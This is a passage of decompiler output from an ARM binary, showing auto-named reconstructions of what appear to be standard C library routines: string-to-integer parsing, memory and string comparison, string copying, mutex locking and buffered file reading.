// 1DFA8: using guessed type int dword_1DFA8;
// 1DFAC: using guessed type int dword_1DFAC;
// 1DFB0: using guessed type int dword_1DFB0;
// 1DFB4: using guessed type int dword_1DFB4;
// 1DFB8: using guessed type int dword_1DFB8;
// 1DFBC: using guessed type void *off_1DFBC;
// 1DFC0: using guessed type void *off_1DFC0;
// 1DFC4: using guessed type int dword_1DFC4;
// 1DFC8: using guessed type int dword_1DFC8;
// 1DFD0: using guessed type int dword_1DFD0;
// 1DFD4: using guessed type int dword_1DFD4;
// 1DFD8: using guessed type int dword_1DFD8;
// 1DFDC: using guessed type int dword_1DFDC;
// 1DFE0: using guessed type int dword_1DFE0;
// 1DFE4: using guessed type int dword_1DFE4;
// 1DFE8: using guessed type int dword_1DFE8;
// 1E134: using guessed type int dword_1E134;
// 1E138: using guessed type int dword_1E138;
// 1E13C: using guessed type __int64 qword_1E13C;
// 1E144: using guessed type int dword_1E144;
// 1E148: using guessed type int dword_1E148;
// 1E14C: using guessed type int dword_1E14C;
// 1E150: using guessed type int dword_1E150;
// 1E154: using guessed type int dword_1E154;
// 1E158: using guessed type int dword_1E158;
// 1E15C: using guessed type int dword_1E15C;

//----- (0001E164) --------------------------------------------------------
int __fastcall sub_1E164(int a1, int a2, signed int a3)
{
signed int v3; // r4@1
int v4; // r5@1
int v5; // r7@2
int v6; // r2@10
int v7; // r6@24
__int64 v8; // r0@24
int v9; // r1@25
int v10; // r2@25
int v11; // r2@40
unsigned __int64 v12; // r0@40
__int64 v13; // r0@44
signed int v14; // r3@44
int i; // r2@44
int v16; // r7@45
__int64 v17; // r0@57
__int64 v18; // r0@62
signed __int64 v20; // [sp+8h] [bp-48h]@31
__int64 v21; // [sp+8h] [bp-48h]@38
signed int v22; // [sp+14h] [bp-3Ch]@4
int v23; // [sp+18h] [bp-38h]@1
int v24; // [sp+1Ch] [bp-34h]@1
int v25; // [sp+20h] [bp-30h]@1
signed int v26; // [sp+24h] [bp-2Ch]@47

v3 = a3;
v25 = a2;
v23 = a1;
v4 = a1;
v24 = **(_DWORD **)((char *)off_1E414 + dword_1E418 + 123250);
do
v5 = *(_BYTE *)v4++;
while ( *(_BYTE *)(v24 + v5 + 1) & 8 );
if ( v5 == 45 )
{
v5 = *(_BYTE *)v4++;
v22 = 1;
}
else
{
v22 = 0;
if ( v5 == 43 )
v5 = *(_BYTE *)v4++;
}
if ( a3 != 16 && (unsigned int)a3 > 0 )
goto LABEL_16;
if ( v5 != 48 || (v6 = *(_BYTE *)v4, v6 != 88) && v6 != 120 )
{
if ( (unsigned int)v3 <= 0 )
{
if ( v5 == 48 )
goto LABEL_26;
LABEL_29:
if ( !v22 )
{
v3 = 10;
v7 = 7;
v8 = qword_1E3E4;
goto LABEL_31;
}
v3 = 10;
v7 = -8;
v9 = dword_1E3EC;
v10 = dword_1E3F0;
goto LABEL_33;
}
LABEL_16:
if ( v3 == 8 )
{
LABEL_26:
if ( !v22 )
{
v3 = 8;
v7 = 7;
v8 = qword_1E3D4;
goto LABEL_31;
}
v3 = 8;
v7 = 0;
v9 = dword_1E3DC;
v10 = dword_1E3E0;
goto LABEL_33;
}
if ( v3 > 8 )
{
if ( v3 == 10 )
goto LABEL_29;
if ( v3 == 16 )
goto LABEL_34;
}
else if ( v3 == 4 )
{
if ( !v22 )
{
v7 = 3;
v8 = qword_1E3C4;
LABEL_31:
v20 = v8;
goto LABEL_44;
}
v7 = 0;
v9 = dword_1E3CC;
v10 = dword_1E3D0;
LABEL_33:
v20 = __PAIR__(v10, v9);
LABEL_43:
v7 = -v7;
goto LABEL_44;
}
if ( v22 )
v21 = qword_1E3FC;
else
v21 = qword_1E3F4;
sub_F53C(v21, v3);
v7 = v11;
v12 = sub_F53C(v21, v3);
v20 = v12;
if ( !v22 )
goto LABEL_44;
if ( v7 > 0 )
{
v20 = v12 + 1;
v7 -= v3;
}
goto LABEL_43;
}
v5 = *(_BYTE *)(v4 + 1);
v3 = 16;
v4 += 2;
LABEL_34:
if ( v22 )
{
v7 = 0;
v9 = dword_1E404;
v10 = dword_1E408;
goto LABEL_33;
}
v7 = 15;
v20 = qword_1E40C;
LABEL_44:
v13 = 0LL;
v14 = 0;
for ( i = v5; ; i = *(_BYTE *)v4++ )
{
v16 = i - 48;
if ( (unsigned int)(i - 48) > 9 )
{
if ( !(*(_BYTE *)(v24 + i + 1) & 3) )
break;
v26 = 55;
if ( !(*(_BYTE *)(v24 + i + 1) & 1) )
v26 = 87;
v16 = i - v26;
}
if ( v16 >= v3 )
break;
if ( v14 == -1 )
continue;
if ( v22 )
{
if ( v20 > v13 || v16 > v7 && v13 == v20 )
{
*(_DWORD *)sub_1FD74() = 34;
v14 = -1;
v13 = qword_1E3FC;
continue;
}
LODWORD(v17) = sub_F528(v13, SHIDWORD(v13), v3);
v13 = v17 - v16;
}
else
{
if ( v13 > v20 || v16 > v7 && v13 == v20 )
{
*(_DWORD *)sub_1FD74() = 34;
v14 = -1;
v13 = qword_1E3F4;
continue;
}
LODWORD(v18) = sub_F528(v13, SHIDWORD(v13), v3);
v13 = v16 + v18;
}
v14 = 1;
}
if ( v25 )
{
if ( v14 )
v23 = v4 - 1;
*(_DWORD *)v25 = v23;
}
return v13;
}
// 1E3C4: using guessed type __int64 qword_1E3C4;
// 1E3CC: using guessed type int dword_1E3CC;
// 1E3D0: using guessed type int dword_1E3D0;
// 1E3D4: using guessed type __int64 qword_1E3D4;
// 1E3DC: using guessed type int dword_1E3DC;
// 1E3E0: using guessed type int dword_1E3E0;
// 1E3E4: using guessed type __int64 qword_1E3E4;
// 1E3EC: using guessed type int dword_1E3EC;
// 1E3F0: using guessed type int dword_1E3F0;
// 1E3F4: using guessed type __int64 qword_1E3F4;
// 1E3FC: using guessed type __int64 qword_1E3FC;
// 1E404: using guessed type int dword_1E404;
// 1E408: using guessed type int dword_1E408;
// 1E40C: using guessed type __int64 qword_1E40C;
// 1E414: using guessed type void *off_1E414;
// 1E418: using guessed type int dword_1E418;

//----- (0001E41C) --------------------------------------------------------
int __fastcall sub_1E41C(int a1, int a2, signed int a3)
{
signed int v3; // r5@1
int v4; // r4@1
int v5; // r6@2
int v6; // r2@10
__int64 v7; // r0@15
__int64 v8; // r2@20
int v9; // r1@25
signed int v10; // r2@25
signed int v11; // r3@26
int v12; // r1@26
int v13; // r2@26
int v14; // r7@27
__int64 v15; // r0@38
signed int v17; // [sp+4h] [bp-44h]@29
unsigned __int64 v18; // [sp+8h] [bp-40h]@22
signed int v19; // [sp+14h] [bp-34h]@15
signed int v20; // [sp+18h] [bp-30h]@4
int v21; // [sp+1Ch] [bp-2Ch]@1
int v22; // [sp+20h] [bp-28h]@1
int v23; // [sp+24h] [bp-24h]@1

v3 = a3;
v23 = a2;
v21 = a1;
v4 = a1;
v22 = **(_DWORD **)((char *)off_1E5D4 + dword_1E5D8 + 123946);
do
v5 = *(_BYTE *)v4++;
while ( *(_BYTE *)(v22 + v5 + 1) & 8 );
if ( v5 == 45 )
{
v5 = *(_BYTE *)v4++;
v20 = 1;
}
else
{
v20 = 0;
if ( v5 == 43 )
v5 = *(_BYTE *)v4++;
}
if ( a3 != 16 && (unsigned int)a3 > 0 )
goto LABEL_50;
if ( v5 == 48 )
{
v6 = *(_BYTE *)v4;
if ( v6 == 88 || v6 == 120 )
{
v5 = *(_BYTE *)(v4 + 1);
v3 = 16;
v4 += 2;
LABEL_21:
v19 = 15;
v7 = qword_1E5C4;
goto LABEL_22;
}
}
if ( (unsigned int)v3 > 0 )
{
LABEL_50:
if ( v3 == 10 )
{
v19 = 5;
v8 = qword_1E5BC;
LABEL_24:
v18 = v8;
goto LABEL_26;
}
if ( v3 == 16 )
goto LABEL_21;
if ( v3 != 8 )
{
LODWORD(v18) = sub_F558(-1LL, v3);
HIDWORD(v18) = v9;
sub_F558(-1LL, v3);
v19 = v10;
goto LABEL_26;
}
LABEL_23:
v3 = 8;
v19 = 7;
v8 = qword_1E5CC;
goto LABEL_24;
}
if ( v5 == 48 )
goto LABEL_23;
v19 = 5;
v3 = 10;
v7 = qword_1E5BC;
LABEL_22:
v18 = v7;
LABEL_26:
v11 = 0;
v12 = 0;
v13 = 0;
while ( 1 )
{
v14 = v5 - 48;
if ( (unsigned int)(v5 - 48) > 9 )
{
if ( !(*(_BYTE *)(v22 + v5 + 1) & 3) )
break;
v17 = 55;
if ( !(*(_BYTE *)(v22 + v5 + 1) & 1) )
v17 = 87;
v14 = v5 - v17;
}
if ( v14 >= v3 )
break;
if ( v11 != -1 )
{
if ( __PAIR__((unsigned int)v13, v12) <= v18 && (v14 <= v19 || __PAIR__(v13, v12) != v18) )
{
LODWORD(v15) = sub_F528(v12, v13, v3);
v13 = (unsigned __int64)(v14 + v15) >> 32;
v12 = v14 + v15;
v11 = 1;
}
else
{
*(_DWORD *)sub_1FD74() = 34;
v11 = -1;
v12 = -1;
v13 = -1;
}
}
v5 = *(_BYTE *)v4++;
}
if ( v11 > 0 && v20 )
v12 = -v12;
if ( v23 )
{
if ( v11 )
v21 = v4 - 1;
*(_DWORD *)v23 = v21;
}
return v12;
}
// 1E5BC: using guessed type __int64 qword_1E5BC;
// 1E5C4: using guessed type __int64 qword_1E5C4;
// 1E5CC: using guessed type __int64 qword_1E5CC;
// 1E5D4: using guessed type void *off_1E5D4;
// 1E5D8: using guessed type int dword_1E5D8;

//----- (0001E5DC) --------------------------------------------------------
unsigned int __fastcall sub_1E5DC(unsigned int result, int a2, int a3)
{
int v3; // r2@1
int v4; // r3@4

v3 = result + a3;
while ( result < v3 )
{
if ( *(_BYTE *)result == a2 )
return result;
v4 = result + 1;
if ( v3 <= result + 1 )
break;
if ( *(_BYTE *)(result + 1) == a2 )
return v4;
v4 = result + 2;
if ( v3 <= result + 2 )
break;
if ( *(_BYTE *)(result + 2) == a2 )
return v4;
v4 = result + 3;
if ( v3 <= result + 3 )
break;
if ( *(_BYTE *)(result + 3) == a2 )
return v4;
result += 4;
}
return 0;
}

//----- (0001E61C) --------------------------------------------------------
int __fastcall sub_1E61C(int a1, int a2, int a3)
{
int v3; // r3@2
char *v4; // r4@2
int v5; // r6@3
int v6; // r5@3
int result; // r0@4

if ( a3 )
{
v3 = 0;
v4 = (char *)off_1E648 + 124458;
while ( 1 )
{
v5 = (unsigned __int8)v4[*(_BYTE *)(a1 + v3)];
v6 = (unsigned __int8)v4[*(_BYTE *)(a2 + v3)];
if ( v5 != v6 )
break;
if ( *(_BYTE *)(a1 + v3) )
{
++v3;
if ( a3 != v3 )
continue;
}
goto LABEL_7;
}
result = v5 - v6;
}
else
{
LABEL_7:
result = 0;
}
return result;
}
// 1E648: using guessed type void *off_1E648;

//----- (0001E6A0) --------------------------------------------------------
int __fastcall sub_1E6A0(int a1, int a2, int a3)
{
int v3; // r5@3
int v4; // r3@3
int v5; // r4@5
int v6; // r2@2
int v7; // r3@8

if ( a3 )
{
v5 = a3;
v4 = 0;
while ( 1 )
{
--v5;
if ( !v5 )
break;
v3 = *(_BYTE *)(a2 + v4);
*(_BYTE *)(a1 + v4++) = v3;
if ( !v3 )
{
v6 = a2 + a3 - v5;
return v6 + ~a2;
}
}
v6 = a2 + v4;
*(_BYTE *)(a1 + v4) = 0;
}
else
{
v6 = a2;
}
do
v7 = *(_BYTE *)v6++;
while ( v7 );
return v6 + ~a2;
}

//----- (0001E8C8) --------------------------------------------------------
int __fastcall sub_1E8C8(int a1, int a2, int a3, int a4)
{
int varg_r3; // [sp+14h] [bp-4h]@1

varg_r3 = a4;
return sub_E70C(a1);
}

//----- (0001ECC4) --------------------------------------------------------
signed int sub_1ECC4()
{
return sub_1F158((int)((char *)off_1ECD0 + 126156));
}
// 1ECD0: using guessed type void *off_1ECD0;

//----- (0001ECD4) --------------------------------------------------------
signed int sub_1ECD4()
{
return sub_1F250((unsigned int *)off_1ECE0 + 31543);
}
// 1ECE0: using guessed type void *off_1ECE0;

//----- (0001ED08) --------------------------------------------------------
int sub_1ED08()
{
return *(_DWORD *)(vFFFF0FE0() + 4);
}

//----- (0001ED8C) --------------------------------------------------------
signed int __fastcall sub_1ED8C(int a1, int a2)
{
int v2; // r3@1
signed int result; // r0@2

v2 = a1;
if ( a1 )
{
result = 0;
*(_DWORD *)v2 = 0;
if ( a2 && *(_DWORD *)a2 == 1 )
*(_DWORD *)v2 |= 1u;
else
result = 0;
}
else
{
result = 22;
}
return result;
}

//----- (0001EE30) --------------------------------------------------------
signed int __fastcall sub_1EE30(int a1, int a2)
{
int v3; // r2@4
int v4; // r1@4
int v5; // r2@4

if ( a1 )
{
if ( !a2 )
{
*(_DWORD *)a1 = 0;
return 0;
}
v3 = *(_DWORD *)a2;
v4 = *(_DWORD *)a2 & 0xF;
v5 = v3 & 0x10;
if ( v5 )
v5 = 0x2000;
if ( v4 == 1 )
{
v5 |= 0x4000u;
goto LABEL_9;
}
if ( v4 == 2 )
{
v5 |= 0x8000u;
goto LABEL_9;
}
if ( !v4 )
{
LABEL_9:
*(_DWORD *)a1 = v5;
return 0;
}
}
return 22;
}

//----- (0001EE94) --------------------------------------------------------
int __fastcall sub_1EE94(int result, int a2)
{
signed int v2; // r3@1

*(_DWORD *)(result + 4) = a2;
*(_DWORD *)(a2 + 56) = result;
*(_DWORD *)result = result;
v2 = 2;
do
*(_DWORD *)(result + 4 * v2++) = 0;
while ( v2 != 64 );
return sub_E80C(result);
}

//----- (0001EEBC) --------------------------------------------------------
void sub_1EEBC()
{
sub_DB7C();
}

//----- (0001EECC) --------------------------------------------------------
void __fastcall sub_1EECC(unsigned int *a1)
{
unsigned int *v1; // r5@1
int v2; // r4@1
int v3; // r0@1

v1 = a1;
v2 = *a1 & 0x2000;
sub_DB44();
if ( v3 )
{
while ( sub_DB74(v2 | 2, v1) != v2 )
sub_1EEBC();
}
}

//----- (0001EF28) --------------------------------------------------------
void sub_1EF28()
{
sub_DB7C();
}

//----- (0001EF38) --------------------------------------------------------
signed int __fastcall sub_1EF38(int a1)
{
int v1; // r4@1
int v2; // r6@2
int v3; // r0@3
signed int v4; // r0@3
signed int v5; // r5@3
int v6; // r12@4
signed int result; // r0@4

v1 = a1;
if ( a1 )
{
v2 = *(_DWORD *)a1 & 1;
do
{
v3 = *(_DWORD *)v1;
sub_DB44();
v5 = v4;
}
while ( v4 );
v6 = *(_DWORD *)v1;
sub_1EF28();
result = v5;
}
else
{
result = 22;
}
return result;
}

//----- (0001EF90) --------------------------------------------------------
void __fastcall sub_1EF90(int a1)
{
int v1; // r5@1
int v2; // r4@1
int v3; // r4@1
int v4; // r0@1

v1 = a1;
v2 = *(_DWORD *)a1;
sub_DAEC(a1);
v3 = v2 & 0x2000;
if ( v4 != (v3 | 1) )
{
*(_DWORD *)v1 = v3;
sub_1EF28();
}
}

//----- (0001EFCC) --------------------------------------------------------
void __fastcall sub_1EFCC(int a1)
{
int v1; // r5@2
int v2; // r4@2
int v3; // r6@5
int v4; // r7@7
int v5; // r4@9
int v6; // [sp+4h] [bp-1Ch]@7

if ( a1 )
{
v1 = *(_DWORD *)a1 & 0xC000;
v2 = *(_DWORD *)a1 & 0x2000;
if ( v1 )
{
v6 = a1;
v4 = *(_DWORD *)(sub_1ED08() + 32);
if ( v4 == *(_DWORD *)v6 >> 16 )
{
if ( v1 != 0x8000 )
{
v5 = (int)((char *)off_1F0DC + 127104);
sub_1EECC((unsigned int *)off_1F0DC + 31776);
*(_DWORD *)v6 = (*(_DWORD *)v6 + 4) & 0x1FFC | *(_DWORD *)v6 & 0xFFFFE003;
sub_1EF90(v5);
}
}
else
{
v3 = (int)((char *)off_1F0D8 + 127012);
sub_1EECC((unsigned int *)off_1F0D8 + 31753);
if ( *(_DWORD *)v6 == (v2 | v1) )
{
*(_DWORD *)v6 |= 1 | (v4 << 16);
sub_1EF90(v3);
}
else
{
sub_1EF90(v3);
}
}
}
else
{
sub_DB44();
}
}
}
// 1F0D8: using guessed type void *off_1F0D8;
// 1F0DC: using guessed type void *off_1F0DC;

//----- (0001F0E0) --------------------------------------------------------
void __fastcall sub_1F0E0(int a1)
{
int v1; // r4@1
int v2; // r0@1

v1 = a1;
sub_1EFCC(a1);
if ( !v2 )
*(_DWORD *)v1 = dword_1F0FC;
}
// 1F0FC: using guessed type int dword_1F0FC;

//----- (0001F158) --------------------------------------------------------
signed int __fastcall sub_1F158(int a1)
{
int v1; // r6@1
int v2; // r7@2
int v3; // r4@2
int v4; // r5@3
int v5; // r5@3
int v6; // r0@3
signed int result; // r0@4
int v8; // r8@9
int v9; // r10@9

v1 = a1;
if ( a1 )
{
v2 = *(_DWORD *)a1;
v3 = *(_DWORD *)a1 & 0xC000;
if ( !v3 )
{
v4 = *(_DWORD *)a1;
sub_DAEC(a1);
v5 = v4 & 0x2000;
if ( v6 != (v5 | 1) )
{
*(_DWORD *)v1 = v5;
sub_1EF28();
return 0;
}
return 0;
}
if ( *(_DWORD *)(sub_1ED08() + 32) == *(_DWORD *)a1 >> 16 )
{
v8 = (int)((char *)off_1F24C + 127456);
sub_1EECC((unsigned int *)off_1F24C + 31864);
v9 = *(_DWORD *)v1;
if ( *(_DWORD *)v1 & 0x1FFC )
{
*(_DWORD *)v1 = v9 - 4;
sub_1EF90(v8);
result = 0;
}
else
{
*(_DWORD *)v1 = v2 & 0x2000 | v3;
sub_1EF90(v8);
if ( (v9 & 3) != 2 )
return 0;
sub_1EF28();
result = 0;
}
}
else
{
result = 1;
}
}
else
{
result = 22;
}
return result;
}
// 1F24C: using guessed type void *off_1F24C;

//----- (0001F250) --------------------------------------------------------
signed int __fastcall sub_1F250(unsigned int *a1)
{
unsigned int *v1; // r4@1
unsigned int v2; // r7@2
int v3; // r6@2
int v4; // r5@3
int v5; // r0@3
signed int result; // r0@6
int v7; // r8@8
int v8; // r6@9
int v9; // r5@9
signed int i; // r9@9
int v11; // r10@15
int v12; // r5@19

v1 = a1;
if ( !a1 )
return 22;
v2 = *a1;
v3 = *a1 & 0xC000;
if ( v3 )
{
v7 = *(_DWORD *)(sub_1ED08() + 32);
if ( v7 != *v1 >> 16 )
{
v8 = v2 & 0x2000 | v3;
v9 = (int)((char *)off_1F3C4 + 127732);
for ( i = 1; ; i = 2 )
{
sub_1EECC((unsigned int *)v9);
if ( *v1 == v8 )
{
*v1 = v8 | (v7 << 16) | i;
sub_1EF90(v9);
return 0;
}
if ( (*v1 & 3) == 1 )
{
v11 = *v1 ^ 3;
*v1 = v11;
sub_1EF90(v9);
if ( v8 == v11 )
return 0;
}
else
{
sub_1EF90(v9);
}
sub_1EEBC();
}
}
if ( v3 == 0x8000 )
{
result = 35;
}
else
{
v12 = (int)((char *)off_1F3C8 + 127884);
sub_1EECC((unsigned int *)off_1F3C8 + 31971);
*v1 = (*v1 + 4) & 0x1FFC | *v1 & 0xFFFFE003;
sub_1EF90(v12);
result = 0;
}
}
else
{
v4 = *a1 & 0x2000;
sub_DB44();
if ( v5 )
{
while ( v4 != sub_DB74(v4 | 2, v1) )
sub_1EEBC();
}
result = 0;
}
return result;
}
// 1F3C4: using guessed type void *off_1F3C4;
// 1F3C8: using guessed type void *off_1F3C8;

//----- (0001F524) --------------------------------------------------------
signed int __fastcall sub_1F524(int a1, int a2, char *a3, int a4)
{
char *v4; // lr@1
int v5; // r4@1
int v6; // r5@1
int v7; // r6@1
int v8; // r12@2
int v9; // r0@4
int v10; // lr@4
int v11; // r1@4
int v12; // r2@4
int v13; // r3@4
int v14; // r12@4
int v15; // r0@4
int v16; // r1@4
int v17; // r1@4
void *v18; // r5@5
int v19; // r0@5
int v20; // r5@5
void *v21; // r12@7
int v23; // ST04_4@10

v4 = a3;
v5 = a1;
v6 = a2;
v7 = a4;
if ( a3 )
{
v8 = a1 + 8;
}
else
{
v8 = a1 + 8;
v4 = (char *)off_1F5F8 + 128496;
}
v9 = *(_DWORD *)v4;
v11 = *((_DWORD *)v4 + 1);
v12 = *((_DWORD *)v4 + 2);
v13 = *((_DWORD *)v4 + 3);
v10 = (int)(v4 + 16);
*(_DWORD *)v8 = v9;
*(_DWORD *)(v8 + 4) = v11;
*(_DWORD *)(v8 + 8) = v12;
*(_DWORD *)(v8 + 12) = v13;
v14 = v8 + 16;
v15 = *(_DWORD *)v10;
v16 = *(_DWORD *)(v10 + 4);
*(_DWORD *)(v5 + 32) = v6;
*(_DWORD *)v14 = v15;
*(_DWORD *)(v14 + 4) = v16;
v17 = *(_DWORD *)(v5 + 24);
*(_DWORD *)(v5 + 12) = v7;
if ( v17 )
{
v23 = *(_DWORD *)(v5 + 28);
sub_E7CC(v6);
}
v18 = off_1F5F0;
sub_1ED8C(v5 + 36, 0);
v18 = (char *)v18 + 128384;
*(_DWORD *)(v5 + 52) = 0;
*(_DWORD *)(v5 + 40) = 0;
sub_1F250((unsigned int *)v18 + 69);
v19 = *((_DWORD *)v18 + 70);
v20 = (int)((char *)v18 + 280);
*(_DWORD *)(v5 + 4) = v20;
if ( v19 )
*(_DWORD *)(v19 + 4) = v5;
v21 = off_1F5F4;
if ( v19 )
v20 = *(_DWORD *)(v5 + 4);
*(_DWORD *)v5 = v19;
*(_DWORD *)v20 = v5;
return sub_1F158((int)((char *)v21 + 128716));
}
// 1F5F0: using guessed type void *off_1F5F0;
// 1F5F4: using guessed type void *off_1F5F4;
// 1F5F8: using guessed type void *off_1F5F8;

//----- (0001F840) --------------------------------------------------------
int __fastcall sub_1F840(int a1)
{
int v1; // r0@1
int v2; // r3@1
int v3; // r4@2
int v4; // r0@3
char *v5; // r4@4
signed int v6; // r12@4
char *v7; // r9@4
char v8; // zf@4
char *v9; // r7@6
int v10; // r5@11
int v11; // r6@11
int v12; // r11@11
signed int v13; // r4@11
char v14; // r0@13
int v15; // r12@13
int v16; // r10@14
void (__fastcall *v17)(_DWORD); // r8@14
char v18; // zf@14
char *v19; // r4@22
int v20; // r4@23
int v21; // r3@23
int v22; // r3@23
int v24; // r0@26
int v25; // [sp+4h] [bp-4Ch]@10
signed int v26; // [sp+8h] [bp-48h]@10
int v27; // [sp+Ch] [bp-44h]@1
int v28; // [sp+10h] [bp-40h]@4
int v29; // [sp+18h] [bp-38h]@1
int v30; // [sp+1Ch] [bp-34h]@1
int v31; // [sp+20h] [bp-30h]@1
int v32; // [sp+24h] [bp-2Ch]@1

v29 = a1;
v1 = sub_1ED08();
v2 = *(_DWORD *)(v1 + 52);
v27 = v1;
v31 = *(_DWORD *)(v1 + 12);
v30 = *(_DWORD *)(v1 + 8) & 2;
v32 = *(_DWORD *)(v1 + 16);
if ( v2 )
{
v3 = v1;
do
{
v4 = *(_DWORD *)(v2 + 8);
*(_DWORD *)(v3 + 52) = *(_DWORD *)v2;
(*(void (__fastcall **)(int))(v2 + 4))(v4);
v2 = *(_DWORD *)(v3 + 52);
}
while ( v2 );
}
v5 = (char *)off_1FAA4 + 129204;
v28 = vFFFF0FE0();
sub_1F250((unsigned int *)v5 + 1);
v6 = *((_DWORD *)v5 + 2);
v7 = (char *)off_1FAA8 + 129236;
v8 = v6 == 0;
if ( !v6 )
v6 = 1;
v9 = (char *)off_1FAA8 + 129236;
if ( v8 )
*((_DWORD *)v5 + 2) = v6;
if ( v8 )
*((_DWORD *)v5 + 3) = v6 + 30;
v26 = 4;
v25 = (int)(v9 + 4);
do
{
v10 = v28;
v11 = (int)(v7 + 8);
v12 = 0;
v13 = 3;
do
{
while ( 1 )
{
v14 = v13 & 0x1F;
v15 = (int)&v9[4 * (v13++ >> 5)];
if ( *(_DWORD *)(v15 + 12) & (1 << v14) )
{
v16 = *(_DWORD *)(v10 + 12);
v17 = *(void (__fastcall **)(_DWORD))(v11 + 24);
v18 = v17 == 0;
if ( v17 )
v18 = v16 == 0;
if ( !v18 )
break;
}
v10 += 4;
v11 += 4;
if ( v13 == 64 )
goto LABEL_20;
}
*(_DWORD *)(v10 + 12) = 0;
sub_1F158(v25);
v17(v16);
sub_1F250((unsigned int *)v25);
++v12;
v10 += 4;
if ( !*((_DWORD *)v9 + 2) )
{
*((_DWORD *)v9 + 3) = 31;
*((_DWORD *)v9 + 2) = 1;
}
v11 += 4;
}
while ( v13 != 64 );
LABEL_20:
if ( !v12 )
break;
--v26;
}
while ( v26 );
v19 = (char *)off_1FAAC + 129472;
sub_1F158((int)((char *)off_1FAAC + 129476));
if ( *(_DWORD *)(v27 + 8) & 1 )
{
v20 = (int)(v19 + 276);
sub_1F250((unsigned int *)v20);
v21 = *(_DWORD *)v27;
*(_DWORD *)(v21 + 4) = *(_DWORD *)(v27 + 4);
**(_DWORD **)(v27 + 4) = v21;
sub_1F158(v20);
if ( *(_DWORD *)(v27 + 48) )
{
*(_DWORD *)(v27 + 48) = 0;
sub_22D08(v27);
}
if ( !v30 )
return sub_E83C(v31, v32, v29, v22);
}
else
{
sub_1F250((unsigned int *)v19 + 69);
v24 = *(_DWORD *)(v27 + 40);
*(_DWORD *)(v27 + 44) = v29;
if ( v24 > 0 )
sub_1EF38(v27 + 36);
else
*(_DWORD *)(v27 + 40) = -1;
sub_1F158((int)((char *)off_1FAB0 + 129924));
if ( !v30 )
return sub_E83C(v31, v32, v29, v22);
}
return sub_E5FC(v29);
}
// 1FAA4: using guessed type void *off_1FAA4;
// 1FAA8: using guessed type void *off_1FAA8;
// 1FAAC: using guessed type void *off_1FAAC;
// 1FAB0: using guessed type void *off_1FAB0;
// 22D08: using guessed type int __fastcall sub_22D08(_DWORD);

//----- (0001FAB4) --------------------------------------------------------
int __fastcall sub_1FAB4(int (__fastcall *a1)(_DWORD), int a2, unsigned int *a3)
{
int v3; // r4@1
int (__fastcall *v4)(_DWORD); // r5@1
int v5; // r6@1
int v6; // r0@1

v3 = (int)a3;
v4 = a1;
v5 = a2;
sub_1F250(a3);
sub_1F0E0(v3);
sub_1EE94(v3, *(_DWORD *)(v3 + 4));
v6 = v4(v5);
return sub_1F840(v6);
}

//----- (0001FD74) --------------------------------------------------------
int sub_1FD74()
{
return off_1FD80() + 8;
}
// 1FD80: using guessed type int (*off_1FD80)(void);

//----- (0001FD84) --------------------------------------------------------
int sub_1FD84()
{
return (***(int (****)(void))((char *)off_1FD98 + dword_1FD9C + 130446))();
}
// 1FD98: using guessed type void *off_1FD98;
// 1FD9C: using guessed type int dword_1FD9C;

//----- (0001FDA0) --------------------------------------------------------
int sub_1FDA0()
{
return (*(int (**)(void))(**(_DWORD **)((char *)off_1FDB4 + dword_1FDB8 + 130474) + 4))();
}
// 1FDB4: using guessed type void *off_1FDB4;
// 1FDB8: using guessed type int dword_1FDB8;

//----- (0001FDD8) --------------------------------------------------------
int sub_1FDD8()
{
return (*(int (**)(void))(**(_DWORD **)((char *)off_1FDEC + dword_1FDF0 + 130530) + 12))();
}
// 1FDEC: using guessed type void *off_1FDEC;
// 1FDF0: using guessed type int dword_1FDF0;

//----- (00020060) --------------------------------------------------------
signed int __fastcall sub_20060(int a1, unsigned int a2, unsigned int a3, int a4)
{
unsigned int v4; // r5@1
char *v5; // r6@1
int v6; // r4@1
int v7; // r7@5
__int16 v8; // r0@5
__int16 v9; // r3@9
__int16 v10; // r3@15
int v11; // r0@17
int v12; // r6@23
int v13; // r0@24
__int16 v14; // r3@24
signed __int16 v15; // r2@25
int v16; // r3@34
int v17; // r1@34
int v18; // r7@35
int v20; // [sp+4h] [bp-24h]@1
int v21; // [sp+8h] [bp-20h]@34
unsigned int v22; // [sp+Ch] [bp-1Ch]@1

v4 = a3;
v5 = (char *)off_201A0 + 131184;
v22 = a2;
v6 = a4;
v20 = a2 * a3;
if ( !(a2 * a3) )
return 0;
if ( *(_DWORD *)(a4 + 4) < 0 )
*(_DWORD *)(a4 + 4) = 0;
v7 = a1;
v8 = *(_WORD *)(a4 + 12);
if ( !(v8 & 2) || *(_DWORD *)(a4 + 60) )
{
v12 = a2 * a3;
while ( 1 )
{
v16 = *(_DWORD *)(v6 + 4);
v17 = *(_DWORD *)v6;
v21 = v16;
if ( v12 <= (unsigned int)v16 )
break;
sub_DE6C(v7, v17, v16, v16);
*(_DWORD *)v6 += v21;
v12 -= v21;
if ( sub_190DC(v6) )
goto LABEL_32;
v7 += v21;
}
sub_DE6C(v7, v17, v12, v16);
v18 = *(_DWORD *)v6 + v12;
*(_DWORD *)(v6 + 4) -= v12;
*(_DWORD *)v6 = v18;
}
else
{
if ( !**(_DWORD **)&v5[dword_201A4] )
sub_18D40();
v9 = *(_WORD *)(v6 + 12);
*(_DWORD *)(v6 + 4) = 0;
if ( v9 & 0x20 )
return -1;
if ( v9 & 4 )
{
v11 = **(_DWORD **)(v6 + 48);
if ( v11 )
{
if ( v11 != v6 + 64 )
sub_1FDA0();
**(_DWORD **)(v6 + 48) = 0;
}
}
else
{
if ( !(v9 & 0x10) )
{
*(_DWORD *)sub_1FD74() = 9;
*(_WORD *)(v6 + 12) |= 0x40u;
return -1;
}
if ( v9 & 8 )
{
if ( sub_18C08(v6) )
return -1;
v10 = *(_WORD *)(v6 + 12);
*(_DWORD *)(v6 + 8) = 0;
*(_DWORD *)(v6 + 24) = 0;
*(_WORD *)(v6 + 12) = v10 & 0xFFF7;
}
*(_WORD *)(v6 + 12) |= 4u;
}
if ( *(_WORD *)(v6 + 12) << 30 )
sub_19008((int (__fastcall *)(_DWORD))((char *)off_201A8 + 131344));
v12 = v20;
while ( 1 )
{
v13 = (*(int (__fastcall **)(_DWORD, int, int))(v6 + 36))(*(_DWORD *)(v6 + 28), v7, v12);
v14 = *(_WORD *)(v6 + 12) & (unsigned __int16)off_201AC;
*(_WORD *)(v6 + 12) = v14;
if ( v13 <= 0 )
break;
v12 -= v13;
if ( !v12 )
return v4;
v7 += v13;
}
v15 = 32;
if ( v13 )
v15 = 64;
*(_WORD *)(v6 + 12) = v14 | v15;
LABEL_32:
v4 = sub_E91C(v20 - v12, v22);
}
return v4;
}
